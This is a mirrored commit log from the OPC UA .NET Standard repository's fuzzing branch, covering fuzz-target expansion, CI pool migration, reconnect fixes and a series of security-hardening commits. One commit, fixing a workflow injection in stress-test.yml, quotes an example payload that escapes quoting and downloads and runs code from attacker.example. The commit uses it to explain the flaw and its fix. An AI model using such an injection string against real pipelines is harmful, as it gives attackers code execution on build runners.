mirror of
https://github.com/OPCFoundation/UA-.NETStandard.git
synced 2026-10-19 07:02:16 +08:00
fuzzing
2369 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
4757db13a0 |
Certificates.Fuzz: catch NotSupportedException in PKCS#10 fuzz target (fix CI build 14591 net48 failure)
Build 14591 (logs/482) failed on net48 with 2 test errors after the
corpus expansion in
|
||
|
|
ae34b02938 |
Fuzzing coverage expansion (Full Encoders / Certificates / Network) (#3867)
# Description
Broadens fuzz coverage across the highest-value untrusted-input surfaces
in the stack, refactors the per-area scaffolding so adding a new fuzz
area is a copy-paste-replace operation, and integrates everything into
`UA.slnx`, `Fuzzing/Fuzzing.md`, and `Docs/README.md`.
**Totals**: 143 files, +4961 / −289. Source plan:
`plans/27-fuzzing-coverage-expansion.md` (added in this PR).
### Shared scaffolding (refactor, no behaviour change)
* Extract generic NUnit replay harness from
`Encoders/Fuzz.Tests/EncoderTests.cs` into
`Fuzzing/common/Fuzz.Tests/{FuzzTargetTestsBase,FuzzTargetFunction,TestcaseAsset,TestAssetUtils}.cs`.
* Each area's `Fuzz.Tests` becomes a thin subclass binding its own
`FuzzableCode` type.
* Hardcoded testcase-suffix arrays replaced with `Testcases.*` directory
discovery at runtime.
* New `Fuzzing/scripts/fuzz-menu.ps1`: dynamic target menu enumerating
`FuzzableCode` statics via reflection — no more hardcoded target lists
in `libfuzz.bat` / `aflfuzz.sh`.
### Encoders area hardening
* **Bug fix**: `AflfuzzXmlEncoder` was re-encoding via `JsonEncoder`;
now uses `XmlEncoder` (the `LibfuzzXmlEncoder` variant was already
correct).
* Add idempotent JSON / XML targets mirroring the existing Binary
idempotent pattern.
* Add compact-JSON encoder option coverage (`JsonEncoderOptions.None`
alongside `Verbose`).
* New `FuzzableCode.BuiltInTypes.cs` (48 targets): `NodeId`,
`ExpandedNodeId`, `Variant`, `ExtensionObject`, `DataValue`,
`DiagnosticInfo`, `QualifiedName`, `LocalizedText` × Binary/JSON/XML
decoders.
* Enrich `Encoders.Testcases.cs` seed corpus with `BrowseRequest` +
`WriteRequest`.
* New `Fuzzing/dictionaries/binary.dict`.
### String parsers (folded into Encoders area)
* New `FuzzableCode.Parsers.cs` (12 targets): `NodeId.Parse`,
`ExpandedNodeId.Parse`, `RelativePathFormatter.Parse`,
`QualifiedName.Parse`, `NumericRange.Parse`, `Uuid` round-trip (both
afl-string and libFuzzer-span signatures).
* New `Fuzzing/dictionaries/nodeid.dict`.
### Certificates / CRL / ASN.1 (NEW area)
* New `Fuzzing/Certificates/{Fuzz,Fuzz.Tests,Fuzz.Tools}` referencing
`Opc.Ua.Security.Certificates` + `Opc.Ua.Core`.
* Targets (20 total): `X509CRL(byte[])` → `EnsureDecoded`,
`X509SubjectAltNameExtension` / `X509AuthorityKeyIdentifierExtension` /
`X509CrlNumberExtension` raw-ASN.1 decoders,
`PEMReader.ImportPublicKeysFromPEM` / `ImportRsaPrivateKeyFromPEM`,
`Pkcs10CertificationRequest`, `AsnUtils.ParseX509Blob` + `AsnReader`
sequence/integer helpers.
* `Certificates.Testcases.cs` builds an RSA cert / CRL / CSR with the
existing builders and emits raw DER + PEM seeds.
* New `Fuzzing/dictionaries/asn1.dict` (DER tags, context-class tags,
length-form sentinels, OID prefixes).
### Network area via `Opc.Ua.Bindings.Pcap` (NO Core changes, NEW area)
* New `Fuzzing/Network/{Fuzz,Fuzz.Tests,Fuzz.Tools}`, multi-targeted
`net8.0;net9.0;net10.0` to match the pcap binding matrix (excluded from
net48/net472).
* **Stateless targets**: `OpcUaFrameParser.Process` (TCP segment → UA-SC
chunk splitter), `TcpStreamReassembler.Process` (raw TCP reassembly),
`OfflineSecureChannel.ReadChunk` (UA-SC symmetric decrypt + verify via
`UaSCUaBinaryChannel.ReadSymmetricMessage` → every security profile
covered through the binding), `ServiceCallReassembler.Push` (chunk →
decoded service call).
* **Stateful libFuzzer-only targets**: `MockServerReplay` /
`MockClientReplay` drivers in a separate target list so cheap stateless
targets dominate throughput.
* Deterministic test-only `ChannelKeyMaterial` via
`SecurityPolicies.None`.
* `Network.Testcases.cs` emits synthetic Hello/Ack/Err/Rhe/MSG seeds via
`LoopbackFrameBuilder`. Live handshake recorder is out of scope for this
PR (degraded mode documented).
* `Network.Fuzz` host does **not** instantiate `NicCaptureSource` — the
AFL/libFuzzer process never opens raw sockets.
* New `Fuzzing/dictionaries/uasc.dict` (MSG/OPN/CLO/HEL/ACK/ERR/RHE
magic + chunk-type bytes + security-policy URI prefixes) and `tcp.dict`
(Ethernet/IPv4/TCP framing markers).
### `Opc.Ua.Core` UA-SC parse seam (complements 4a)
* New `Stack/Opc.Ua.Core/Stack/Tcp/TcpMessageParsers.cs` — `internal
static` helpers for the pre-crypto, pre-auth chunk surface NOT covered
by the pcap binding: `TryParseChunkHeader`, `ReadHelloMessage`,
`ReadAcknowledgeMessage`, `ReadErrorMessage`, `ReadReverseHelloMessage`,
`ReadAsymmetricMessageHeader`.
* **No production-code refactor** (Strategy B): the new internal helpers
are an independent parse seam, not a refactor of the entangled private
channel methods. Existing `ProcessHelloMessage` /
`ProcessReverseHelloMessage` / asym-header decode paths are untouched.
Behaviour is byte-identical (verified — Opc.Ua.Core.Tests Tcp subset 7/7
passing).
* Surface via `<InternalsVisibleTo Include="Network.Fuzz" />` (+
matching Tools and Tests entries because the linked
`FuzzableCode.Transport.cs` compiles from all three host projects).
* New `Fuzzing/Network/Fuzz/FuzzableCode.Transport.cs` (12 targets) +
`Fuzzing/Network/Fuzz.Tools/Transport.Testcases.cs` (seeds under
`Testcases.Tcp.*`).
### Integration
* `UA.slnx`: add the 6 new fuzz projects, 4 new shared harness `.cs`
files, 5 new dictionaries, and the new `fuzz-menu.ps1` script — all
under the right `/Fuzzing/<Area>/` solution folders.
* Rewrite `Fuzzing/Fuzzing.md`: areas table, per-area dictionaries,
dynamic target-menu, step-by-step "how to add a new fuzz area" recipe,
Network area's replay-driven seed pipeline + key-material discipline,
pcap binding dependency note.
* Cross-link from `Docs/README.md` to `Fuzzing/Fuzzing.md`.
* Fix `.Order()` → `.OrderBy()` in shared scaffolding
(`.Order(IComparer)` is net7+; the harness compiles on net48/net472 for
the Encoders + Certificates test matrices).
## Verification
| Project | TFM | Tests | Result |
|---|---|---|---|
| `Encoders.Fuzz.Tests` | net10.0 | 4131 | ✅ 0 failed |
| `Certificates.Fuzz.Tests` | net10.0 | 220 | ✅ 0 failed |
| `Network.Fuzz.Tests` | net10.0 | 330 | ✅ 0 failed |
| **Total** | | **4681** | **✅ 0 failed** |
* Full `dotnet build UA.slnx` (all TFMs, including
net48/net472/net8/net9/net10): **0 errors**, warning count unchanged
from baseline.
* `Network.Fuzz` multi-TFM build: **net8.0 + net9.0 + net10.0** all
green.
* `Opc.Ua.Core` build: **0 errors, 0 warnings** after Phase 4b seam
addition.
## Notes for reviewers
* **Base branch**: `channelrefinements2`, not `master`. The pcap binding
(`Stack/Opc.Ua.Bindings.Pcap`) only exists on the channelrefinements
line.
* **Real keylog / key material**: never committed. All Network seed
corpora use deterministic material generated from fixture test
certificates via the binding's own replay helpers.
* **`.der` test assets**: force-added with `git add -f` (consistent with
the existing intentional exception at
`Tests/Opc.Ua.Security.Certificates.Tests/Assets/OPC Foundation Root CA
[...].der`); the repo-wide `*.der` gitignore otherwise excludes them.
* **Out of scope** (documented as fold-ins for future work):
`PcapFileReader` / `PcapNgFileWriter` / `UaKeyLogTextReader` /
`UaKeyLogJsonReader` defensive parser fuzzing; live handshake recorder
for `Network.Testcases.cs`; real loopback replay drivers (current
implementation uses synthetic replay).
## Checklist
- [ ] I have signed the
[CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf)
and read the
[CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md)
doc.
- [x] I have added tests that prove my fix is effective or that my
feature works and increased code coverage.
- [x] I have added all necessary documentation.
- [x] I have verified that my changes do not introduce (new) build or
analyzer warnings.
- [ ] I ran **all** tests locally using the **UA.slnx** solution against
at least .net **framework** and .net **10**, and all passed. _(Fuzz
suites verified on net10.0: 4681/4681 passing. Full UA.slnx build green
on all TFMs. Full repo-wide test run not yet executed on net48 —
pre-existing tests unaffected by these changes; only
`Stack/Opc.Ua.Core/Stack/Tcp/TcpMessageParsers.cs` is new and is gated
behind `<InternalsVisibleTo>`.)_
- [ ] I fixed **all** failing and flaky tests in the CI pipelines and
**all** CodeQL warnings.
- [ ] I have addressed **all** PR feedback received.
|
||
|
|
b32a6a73b3 | PR feedback: reword security-bar prose, drop SAST paragraph, collapse empty doc lines, add /// <inheritdoc/> on EncryptedKeyLogStream overrides | ||
|
|
5530a12d4a |
McpServerOptions: DI-driven NodeSetExportRoot + PcapBaseFolder
Replaces the static-only ExportRoot / env-var-only configuration in NodeSetExportTools with an instance-aware ResolveExportRoot(IServiceProvider) that consults McpServerOptions from DI first. Same pattern applied to PacketDecodeTools.GetDecodeAllowedRoot for symmetric naming. Precedence (both options): services.GetService<McpServerOptions>().Property > OPCUA_MCP_EXPORT_ROOT env var (NodeSet) or PcapOptions.BaseFolder (Decode) > per-tool default. Backward-compat: ExportRoot static property + OPCUA_MCP_EXPORT_ROOT env var both still work. Program.cs now seeds McpServerOptions from OPCUA_MCP_NODESET_EXPORT_ROOT and OPCUA_MCP_PCAP_BASE_FOLDER environment variables so hosts can override without code changes. Tests: 7 NUnit tests in McpServerOptionsTests covering DI > env var > default precedence for both options. Reflection-based to reach internal/private helpers — same pattern as the existing PacketDecodePathValidationTests. Build: 0 warnings / 0 errors on Applications/McpServer for net10.0. Pcap.Tests build blocked locally by the unrelated SDK 10 workload manifest issue (see prior commit for details). |
||
|
|
e3e7134d56 |
Merge branch 'channelrefinements' into channelrefinements2
Resolved NodeSetExportTools.cs conflict by adopting base branch's ResolveExportPath / ExportRoot abstraction (configurable via OPCUA_MCP_EXPORT_ROOT env var) and removing my redundant ResolveAndValidateExportPath helper + NodeSetExportPathValidationTests.cs. Base implementation is functionally a superset of F19's hard-coded LocalAppData approach. |
||
|
|
e8afa4237b |
Security hardening: 25-finding pass against SFI / SDL / OPC UA Part 2 baseline
Addresses 25 of 39 findings from a branch security review (assessment 5). CRITICAL: F1 gate MCP key-disclosure tools, F2 0600 keylog/pcap files, F3 per-user BaseFolder, F16 ChannelKeyMaterial IDisposable + ZeroMemory, F17 PcapFileReader MaxPacketBytes (64MB) bound, F18 FlowBuffer MaxBufferBytes (256MB) cap, F19 NodeSet export path validation, F20 ReplaySession listenPort range. HIGH: F4 IPcapAuditSink + LoggerPcapAuditSink + rate-limited frame-capture audit, F5 AES-256-GCM EncryptedKeyLogStream + SessionKeyManager (sibling .key file 0600), F14 IKeyEscrowProvider abstraction + DiskKeyEscrowProvider default (DI TryAddSingleton so consumers can route to KMS), F21 ChannelManagerOptions.MaxChannels (256) cap, F22 CaptureSessionManager.SessionFolder path-traversal guard, F23 PacketDecodeTools pcapPath/keyLogPath validation, F24 replay_pcap speed validation (NaN/Inf/<=0), F25 explicit permissions blocks on .github/workflows. MEDIUM: F6 OnTokenActivated [EditorBrowsable(Never)] + key-disclosure doc, F7 IDiagnosticsChannelMutation accessor + stack-walk caller guard (replaces internal OfflineLoadTokens), F8 PcapOptions.AllowMockClientReplay + AllowedReplayEndpoints, F9 PcapFileWriter / UaKeyLog*Writer rotation (.NNN suffix) with MaxBytes / MaxArtifactsPerSession, F13 keylog-isolation gap acknowledgment doc, F15 HashChainedAuditFileSink (HMAC-chained JSONL ledger, VerifyChain), F11 replay URL scheme allow-list (opc.tcp/opc.tcps/opc.https). LOW/INFO: F10 SBOM/CVE governance comments on PacketDotNet/SharpPcap + Docs/PacketCapture.md, F12 Security model section at top of PacketCapture.md. Tests: 100+ new NUnit tests across Audit/, Capture/, Frame/, KeyLog/, McpServerTools/, Replay/, Stack/Tcp/, DependencyInjection/. All file-mode/HMAC-chain/encryption tests are [Platform(Linux,MacOSX)]-gated where Unix-specific. Build: 0 warnings / 0 errors on Stack/Opc.Ua.Bindings.Pcap for net8.0 and net9.0. net10.0 build is environmentally blocked by a corrupted local SDK 10.0.300 workload manifest (microsoft.net.workload.mono.toolchain.net6 10.0.108 requires Emscripten.net6 >=10.0.108, only 9.0.17 installed); requires 'dotnet workload repair' from an elevated shell to validate the third TFM. No tests were run pending the SDK fix. 5 CA1508/CA2000 false positives suppressed with documented #pragma blocks (ownership transfer in escrow factory / IAsyncEnumerable iterator / unreachable catch path). Deferred to follow-up GitHub issues: 9 MEDIUM (M-SEC-07/09/10/11/12/13/16/22/31 — exception sanitization, reconnect defaults, cert-rotation races, nonce-suppress deprecation, parser hardening) and 10 LOW/INFO (L-SEC-14/15/17/23/24/33/34/35/36/37 — handler cleanup, EventSource endpoint masking, key-log schema validation, EOL deps, SAST). Full reasoning in session plan.md Round 10. |
||
|
|
5353c69287 | Merge branch 'master' into channelrefinements | ||
|
|
a3ae6db71a |
[test] Accommodate non-blocking lease Dispose with thread-safe listeners and polling helpers
After commit |
||
|
|
04f3d12fa8 |
[security] Bound the participant metric tag to per-kind cardinality (MEDIUM-4)
plans/security-assessment.md MEDIUM-4 (unbounded metric cardinality):
opcua.channel.participant.timeout.count and
opcua.channel.participant.recreate.count emit a "participant" tag
whose value was the full per-instance IReconnectParticipant.Id. Two
problems:
- ClientChannelReconnectParticipant uses
"{idPrefix}-{Guid.NewGuid():N}" — the suffix made every instance
permanent in cardinality-retaining metric backends (Prometheus,
OTLP, Application Insights).
- Session.ChannelManager.cs:45 used a bare Guid with NO prefix at
all, so the metric tag was a 32-hex-char string with no way for
operators to bucket the data.
Fix:
- Session.ChannelManager.cs:45 — prefix the GUID with "Session-" so
Session participants follow the same prefix-then-suffix shape as
ClientChannelReconnectParticipant.
- ClientChannelManagerMetrics — add a GetParticipantKind helper
that returns everything before the first '-' (or the full id if
no '-'). Use it in CreateEndpointParticipantTags and
CreateEndpointParticipantSuccessTags so the metric tag stays at
per-kind cardinality ("Session", "Client", …).
- Full per-instance id continues to flow through Activity tags and
EventSource events (separate code path in
ClientChannelManagerDiagnostics) so distributed traces remain
correlatable.
- Docs/Sessions.md callout updated to describe the now-bounded
behavior (was a warning before, now describes the implemented
semantic and the convention required of custom participants).
Build verified: Stack/Opc.Ua.Core, Libraries/Opc.Ua.Client net10.0 —
0 W, 0 E.
|
||
|
|
25dc407917 |
[security] ClientChannelManagerCertRotation: refuse rotation events that cannot be matched to this application's identity (MEDIUM-3)
plans/security-assessment.md MEDIUM-3 (cert-identity confusion):
CertificateIdentifierMatches previously returned true unconditionally
when the ApplicationCertificate had neither Thumbprint nor RawData
configured (the common StorePath + SubjectName configuration). With a
shared CertificateManager, any rotation event whose type matched the
configured certificate type would be adopted — including events
intended for a completely different application that just happens to
share the same manager.
Add a SubjectName-based fallback BEFORE the unconditional accept, and
flip the final fallback to refuse:
1. Match on Thumbprint if configured (existing — unchanged)
2. Match on RawData if configured (existing — unchanged)
3. NEW: match on SubjectName via X509Utils.CompareDistinguishedName
against the old or new certificate's Subject
4. If none of the above are configured, REFUSE the rotation event
and emit a LogWarning telling the operator to configure at least
ApplicationCertificate.SubjectName so cert rotation can match
securely
The SubjectName comparison uses CompareDistinguishedName which is
case-insensitive and order-tolerant, matching how
CertificateValidationCore validates subject identities elsewhere in
the stack.
The static helper now takes an ILogger? parameter so the refusal
warning can be emitted without further plumbing.
Build verified: Stack/Opc.Ua.Core net10.0 — 0 W, 0 E.
|
||
|
|
2be0f5c4d5 |
[docs] Document the secure-by-default DI HttpClient fallback and the channel-manager diagnostics surface contract
Docs/Sessions.md:
- New subsection "HTTPS factory + OPC UA cert validation:
secure-by-default fallback" under § 4. Explains the two
HttpsTransportChannel construction paths, why the factory is
bypassed when a CertificateValidator is configured, the one-time
LogWarning, and how a consumer can keep both Polly resilience AND
OPC UA cert validation by registering the named HttpClient with
ConfigurePrimaryHttpMessageHandler that wires OPC UA validation
in themselves.
- New subsection "Diagnostics surface contract — what tags and
EventSource fields carry". Codifies what is allowed on Activity
tags / EventSource events (StatusCode, SymbolicId, LocalizedText
only) vs what stays in local ILogger.LogDebug (AdditionalInfo,
inner exception data). Includes the bounded metric tag set with
enumerated outcome / reason values, the correct
transient-failure spelling, and a callout that the participant
tag carries the full per-instance ID (cardinality is bounded by
live participant count, but workloads with churn should rewrite
the suffix at the OTel processor).
Docs/DependencyInjection.md:
- "Channel manager" section adds a security trade-off callout
pointing operators to the new Sessions.md HTTPS-secure-fallback
section.
|
||
|
|
38d4a29070 |
[security] McpServer NodeSetExportTools: constrain MCP-tool file paths to an export root
ExportNodeSetAsync.filePath and ExportNodeSetPerNamespaceAsync.
outputDirectory are LLM-supplied MCP tool arguments. The old code
passed them directly to Directory.CreateDirectory and to
new FileStream(path, FileMode.Create) with no canonicalization or
allowlist. A prompt-injected LLM call could overwrite arbitrary files
the MCP-server process can write to.
Add a ResolveExportPath helper that:
- rejects null/whitespace
- resolves the request via Path.GetFullPath (so .. segments cannot
escape after canonicalization)
- rejects any candidate that would resolve outside the export root
(relative or already-absolute paths must both end up inside)
- returns the canonicalized absolute path
ExportRoot:
- defaults to {Path.GetTempPath}/Opc.Ua.Mcp/exports
- overridable via the OPCUA_MCP_EXPORT_ROOT environment variable
set before the MCP server starts
- cached via Lazy<string> with ExecutionAndPublication semantics
- exposed publicly as NodeSetExportTools.ExportRoot for callers
and tests
Both ExportNodeSetAsync and ExportNodeSetPerNamespaceAsync now call
ResolveExportPath first; if the LLM supplied an out-of-root path,
the call throws ArgumentException before any filesystem write
occurs.
Activity-level success records continue to include the (resolved)
filePath so the MCP caller still sees where the file landed.
Verified Applications/McpServer/Opc.Ua.Mcp.csproj builds clean
(net10.0): 0 W, 0 E.
|
||
|
|
b50ffa0536 |
[security] stability-test.yml: read TEST_DURATION_MINUTES as a shell variable, not a workflow expression
Final security-review regression-sweep finding (MEDIUM, conf 9/10),
same anti-pattern that
|
||
|
|
d0ef235286 |
RetryBudget: swap Reset() write order to avoid stale-tick race
Previous Reset(): Volatile.Write(ref m_started, 0); Interlocked.Exchange(ref m_startTicks, kNotStarted); A concurrent EnsureStarted() observer could see m_started == 0 (taking the "reset, so go start" branch), then read the stale m_startTicks value BEFORE the Interlocked.Exchange landed, and treat the budget as already-started against the pre-reset timestamp. IsExhausted / TryConsume then computed elapsed time from the old origin. Fix: reset m_startTicks first, then m_started. EnsureStarted writes m_started = 1 only after the CAS on m_startTicks succeeds, so resetting m_startTicks first preserves that invariant — no observer can see "started == 1" with a stale tick value. |
||
|
|
2a4f4f6014 |
ManagedTransportChannelLease: non-blocking sync Dispose (deadlock under sync context)
Sync Dispose previously called
DisposeAsyncCore().AsTask().GetAwaiter().GetResult()
which ultimately performs network I/O (TCP FIN handshake) via
ChannelEntry.TearDownAsync → underlying.CloseAsync. On any host that
captures a SynchronizationContext (legacy ASP.NET, WPF, WinForms)
synchronous Dispose on the UI/request thread deadlocks. Even without
a sync context, a thread-pool thread is pinned on network I/O for the
close duration.
New Dispose() body:
- Atomically marks the lease released via
Interlocked.Exchange(ref m_active, 0) (idempotent — second call
short-circuits, so lease accounting cannot double-release)
- Pushes the actual Entry.ReleaseLeaseAsync(this) onto the thread
pool via Task.Run and returns IMMEDIATELY
- Swallows the async failure inside the fire-and-forget (sync Dispose
cannot surface async exceptions)
CloseAsync / DisposeAsyncCore (the async path) are unchanged and still
await the full teardown chain. Documented on Dispose() that callers
needing teardown observability must use CloseAsync().
|
||
|
|
39eb086443 |
ChannelEntry: track tightest IRetryBudget across coalesced joiners; ClampDelayToBudget signals exhaustion
Two related correctness fixes for the channel-reconnect path. 1. ChannelEntry.RequestReconnectAsync coalescing budget When multiple callers concurrently invoke RequestReconnectAsync, the first becomes the "starter" and its budget is passed to the cycle. Subsequent "joiners" were silently dropping their budget parameter — so a joiner with a strict 10-second deadline could not tighten an in-flight cycle that the starter began without one. Fix: add an m_effectiveBudget field guarded by m_lock. Every caller (starter + joiners) updates it via TighterOf(current, candidate), which returns the budget with smaller remaining time (null = "no constraint", so a null joiner never relaxes). The cycle re-reads GetEffectiveBudget() at the top of every iteration AND immediately after the inter-attempt delay, so a late joiner can preempt an in-flight sleep. The finally block clears m_effectiveBudget so the next cycle starts unconstrained. XML doc on RequestReconnectAsync(CancellationToken) describes the coalescing semantics in plain language. 2. ChannelReconnectPolicyBudget.ClampDelayToBudget exhaustion semantics For a custom IChannelReconnectPolicy that does NOT also implement IBudgetAwareChannelReconnectPolicy, when the shared retry budget was exhausted the helper returned the ORIGINAL delay unchanged instead of signaling "stop retrying". Downstream ChannelEntry.RunReconnectCycleAsync independently checks budget.IsExhausted so no extra reconnect attempt was issued, but the bug wasted one delay cycle (up to MaxDelay = 30 s default) before the fault transition was detected. Fix: return Timeout.InfiniteTimeSpan when TryConsume returns false — matching ExponentialBackoffChannelReconnectPolicy.GetDelay. |
||
|
|
03df79835a |
[security] ClientChannelManagerDiagnostics: do not leak inner-exception detail to Activity tags or EventSource
Previously CompleteReconnectActivity, EmitReconnectFailed and
EmitStateChanged passed ServiceResult.ToString() / GetErrorMessage
(which delegated to ToString) to:
- activity?.SetTag("error.message", ...)
- ChannelManagerEventSource.ReconnectFailed / StateChanged
ServiceResult.ToString() serializes StatusCode, SymbolicId,
LocalizedText, AdditionalInfo (often inner-exception messages including
file paths and stack traces) and InnerResult. These tags are exported
to distributed-tracing backends where operators with telemetry-read
access can see internal client/server diagnostics they should not.
Replace with GetSafeErrorMessage(ServiceResult?) which returns ONLY
OPC UA-protocol-level fields:
- error.LocalizedText.Text if present and non-empty
- else error.SymbolicId ?? string.Empty
The "error.status_code" Activity tag (StatusCode only) is preserved —
that is safe to expose. Full ServiceResult contents (AdditionalInfo,
inner .NET exception data) continue to flow through local ILogger debug
logs only; never through Activity tags or EventSource events.
Type-level XML doc on the class is updated to record the contract.
|
||
|
|
30495fb6f0 |
[security] buildandtest.yml: add workflow-scoped permissions: contents: read
Add an explicit top-level "permissions:" block. Without it the workflow inherited the repository's default GITHUB_TOKEN scopes — typically contents: write, packages: write, etc. on push events — none of which a build-and-test workflow needs. Least-privilege per SecCab-LeastPrivilege. Block placed between "on:" and "concurrency:" so it scopes the whole workflow (no individual job needs an override). Mirrors the scope used by the new .github/workflows/stress-test.yml. No CI semantics change — all jobs still run. |
||
|
|
3f4db2aec4 |
[security] stress-test.yml: env-var indirection for workflow_dispatch seed input
Security-review subagent finding (MEDIUM, confidence 9/10).
The "Generate ChaosTCP seed" step interpolated the workflow_dispatch
input directly into a pwsh run: body:
$configuredSeed = '${{ github.event.inputs.seed }}'
GitHub Actions substitutes the expression BEFORE the pwsh parser sees
the script. A workflow_dispatch caller (must have write access on the
repo) could supply a value like:
'; iwr https://attacker.example/x -OutFile /tmp/x; ./x; '
which renders to:
$configuredSeed = ''; iwr ... ; ./x; ''
— arbitrary PowerShell on the runner. Defense-in-depth gap: a leaked
CI token, compromised maintainer PAT, or future write-access grant
becomes runtime RCE without ever committing to git.
Fix: move the untrusted value into a step-scoped environment variable
and let pwsh read it as data, not as code:
env:
INPUT_SEED: ${{ github.event.inputs.seed }}
run: |
$configuredSeed = $env:INPUT_SEED
...
No behavioral change beyond the indirection — the same value flows
through [int]::Parse, $env:GITHUB_ENV, $env:GITHUB_OUTPUT and the
chaos-seed.txt repro file.
|
||
|
|
5ca95abd0d |
[security] HttpsTransportChannel: refuse factory path when OPC UA cert validation is required
Security-review subagent finding (HIGH, confidence 9/10).
When consumers used the new DI flow services.AddOpcUa().AddClient(...),
the channel took the IHttpClientFactory branch and got back a named
HttpClient configured purely with AddStandardResilienceHandler() — and
the underlying HttpClientHandler was NOT exposed for HttpsTransportChannel
to attach:
- ServerCertificateCustomValidationCallback wired against the OPC UA
CertificateValidator (so the OPC UA trust list was dropped — falling
back to the OS trust chain only)
- The OPC UA application instance client certificate (so OPC UA mTLS
was silently disabled)
- AllowAutoRedirect = false (HTTPS redirects were now followed)
- MaxConnectionsPerServer / MaxRequestContentBufferSize quotas (no
longer enforced at the HTTP layer)
A server presenting a publicly-trusted CA-issued cert (CA misissuance,
domain takeover, compromised CA) would be accepted while the OPC UA
trust list — the proper authority for OPC UA — was ignored.
Fix:
- CanUseHttpClientFactory() now refuses the factory path whenever the
channel quotas carry a CertificateValidator (i.e. whenever OPC UA
server-cert validation is required), unconditionally routing to
CreateDirectHttpClient() which wires the OPC UA server-cert callback
and the OPC UA mTLS client cert.
- CreateHttpClient() emits a one-time LogWarning when a non-Shared
factory was supplied but bypassed for security reasons, so operators
see that the named HttpClient pipeline (e.g. Polly resilience handler)
is NOT applied to this OPC UA HTTPS channel.
- DefaultOpcUaHttpClientFactory.Shared continues to take the direct
path as before (no behavior change for non-DI consumers).
Verified locally:
- Stack/Opc.Ua.Core builds clean on net48 and net10.0 (0 W, 0 E)
- Libraries/Opc.Ua.Client builds clean on net10.0 (0 W, 0 E)
- OpcUaHttpClientFactoryTests on net8.0: 4/4 pass
- Https | Transport | ClientChannelManager filter on net8.0: 112/112 pass
|
||
|
|
9c5f875695 |
Honor ShutdownToken in ChannelEntry reconnect loop (PR #3852 feedback)
@koepalex (copilot finding): When ClientChannelManager.DisposeAsync()
is called while a reconnect cycle is active, the loop continued
forever as a background task. It passed CancellationToken.None to
DelayAsync, EnsureTransportConnectedAsync and NotifyParticipantsAsync,
and never observed the manager's shutdown token. With the default
policy (MaxAttempts = int.MaxValue, infinite budget) the loop never
terminated — it kept retrying with up to 30 s backoff, repeatedly
hitting ObjectDisposedException.
Thread m_host.ShutdownToken through RunReconnectCycleAsync:
- capture shutdownToken at the top of the cycle
- ThrowIfCancellationRequested at the top of every while iteration
- pass shutdownToken to DelayAsync / EnsureTransportConnectedAsync /
NotifyParticipantsAsync
- narrow the per-attempt catch around DelayAsync so it only swallows
OperationCanceledException when shutdown is NOT requested
- re-throw OperationCanceledException from the per-attempt catches
around EnsureTransportConnectedAsync and NotifyParticipantsAsync
when shutdown IS requested, so they don't get reclassified as
transient and re-loop
- also re-throw OCE from the inner catch in
EnsureTransportConnectedAsync's ReconnectAsync branch when ct is
cancelled, so we don't fall through to CreateTransportChannelAsync
during shutdown
The outer try/catch already converts the OCE to tcs.TrySetException
and the finally block records duration metric, completes the activity
and tears down the entry — all on the existing well-tested path.
Production behavior pre-fix was unchanged when shutdown was not
requested; only the disposal path is affected.
Verified locally (net10.0):
- All ClientChannelManager* tests pass (29/29)
- All Channel*/Reconnect* tests pass (73/73)
|
||
|
|
4d613d11dc |
CI: migrate to netstandard Managed DevOps Pool + per-TFM build matrix (#3866)
# Description End-to-end migration of the Azure DevOps CI pipelines to the `netstandard` Managed DevOps Pool with the build matrix re-shaped to fit the new agents and a handful of test/project fixes that fell out of the migration. **Pipeline routing & defaults** - `azure-pipelines.yml` and `azure-pipelines-preview.yml` default `managedPool=true`, routing Windows/Linux jobs to the `netstandard` Managed DevOps Pool with `ImageOverride` demands; flipping the queue-time boolean to `false` falls back to Microsoft-hosted agents. - Per-platform images come from the root yml (single source of truth): - Managed pool: `windows-2022-g2` / `ubuntu-22.04-g2` (Mac stays hosted: `macOS-15`). - Hosted: `windows-2025-vs2026` / `ubuntu-24.04` / `macOS-15`. - `.azurepipelines/test.yml` and `test-aot.yml` declare `hosted` as a typed `boolean` parameter so `not(parameters.hosted)` actually evaluates correctly (an untyped value left it as the string `'false'`, which is truthy and silently routed managed-pool jobs to Microsoft-hosted `vmImage` demands). - macOS test jobs always run on the Microsoft-hosted `macOS-15` image regardless of `managedPool`; the four per-framework test stages queue a dedicated `hosted: true` Mac invocation unconditionally and the main matrix carries only Windows+Linux. - Test-template prep jobs (which only run a PowerShell matrix script) run on the managed pool whenever a `poolName` is set, even when the matrix `hosted: true`, so the Microsoft-hosted parallel-job allotment isn't blocked. **Build stage — per-(TFM × configuration) matrix** - `.azurepipelines/get-matrix.ps1` gained a `-Tfms` parameter that fans the matrix across target frameworks alongside the existing agent / configuration dimensions and emits a per-entry `targetTfm`. - `.azurepipelines/sln.yml` accepts a `tfms` parameter and threads `$(targetTfm)` into both `dotnet restore` and `dotnet build` as `/p:CustomTestTarget=$(targetTfm)` so each matrix job builds a single TFM and fits on the Managed DevOps Pool's small (~16 GB) temp disk. - `azure-pipelines.yml` `build` stage passes `tfms: 'net10.0,net48'` for PR builds and the full `net472,net48,netstandard2.0,netstandard2.1,net8.0,net9.0,net10.0` set for master / scheduled / manual / fork-PR runs. - `sln.yml`'s restore step uses `command: custom` (`custom: restore`) because `command: restore` silently drops the `arguments` input — without it `/p:CustomTestTarget` never reached restore and `obj/project.assets.json` was populated with the wrong TFM set. - `sln.yml` no longer uses the `MSBuild@1` task; it now uses `DotNetCoreCLI@2` with `dotnet build` so the .NET 10 SDK's bundled MSBuild (which understands `.slnx`) is used instead of Visual Studio 2022's MSBuild on the managed-pool image. **Project-level fixes that fell out of the matrix split** - `Applications/McpServer`, `Applications/MinimalBoilerServer`, `Applications/MinimalCalcServer`, and `Tests/Opc.Ua.Aot.Tests` each get a `Directory.Build.targets` that turns the project into a no-op (cleared `Compile` / `ProjectReference` / `PackageReference` / etc., `OutputType=Library`) when `CustomTestTarget` restricts the matrix to a legacy TFM (`net4*` / `netstandard2.*`) the project can't target. Target overrides are deliberately avoided — same-named targets in `Directory.Build.targets` ALWAYS replace the SDK definitions, which would silently break `dotnet publish` / `dotnet test` in the unrestricted GitHub Actions flows. - `Tools/Opc.Ua.MigrationAnalyzer.csproj`'s `ProjectReference` to `Opc.Ua.MigrationAnalyzer.Core` no longer hard-pins `SetTargetFramework=net10.0`; the pin follows `CustomTestTarget` (and falls back to `net10.0` when unset). **Test reliability** - 